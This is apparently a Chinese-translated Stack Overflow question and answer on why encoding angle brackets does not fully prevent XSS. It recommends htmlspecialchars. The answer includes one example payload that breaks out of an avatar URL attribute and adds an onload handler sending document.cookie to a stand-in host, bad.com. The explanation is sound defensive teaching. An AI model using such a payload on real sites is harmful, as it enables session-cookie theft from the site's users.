xss - 正在替换 : < and > with &lt; and &gt; enough to prevent XSS injection?

标签 xss code-injection

我想知道是否包含两个标记<>足以防止 XSS 注入(inject)吗?

如果没有,为什么?最好的解决方案是什么?

最佳答案

这在很大程度上取决于上下文。

查看这个来自典型论坛网站的示例...

You may hotlink your avatar image. Enter the full URL.

恶意用户在输入字段中输入

http://www.example.com/image.png" onload="window.location = 'http://www.bad.com/giveme.php?cookie=' + encodeURI(document.cookie) 

那里没有小于和大于的编码,但仍然是一个很大的安全漏洞。

使用htmlspecialchars(),我发现制作(或使用)它的包装函数来转换为字符串是个好主意,提供了一种更简单的方法来禁用双重编码(如果需要)并确保它使用应用程序的正确字符集。 Kohana 有一个 great example .

关于xss - 正在替换 : < and > with &lt; and &gt; enough to prevent XSS injection?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/2113984/

相关文章:

javascript - 提交表单仍然存在 XSS 风险

Javascript 高级闭包

javascript - 如何从其他网站获取内容

php - 在某些示例中,防止在jquery,php,mysql中出现xss-请咨询

注入(inject) URL 的 Javascript

spring - 为什么LocalSessionFactoryBean 不实现getCurrentSession,同时SessionFactory 的实例可以调用该方法?

php - 我找到了一个 $_GET ['var' ] == 一个 SQL 语句 - 有什么风险?

browser - 互联网浏览器、谷歌浏览器注入(inject)

html - 清理 &lt;script&gt; 元素内容

reactjs - 他们说 React 受 XSS 保护是什么意思?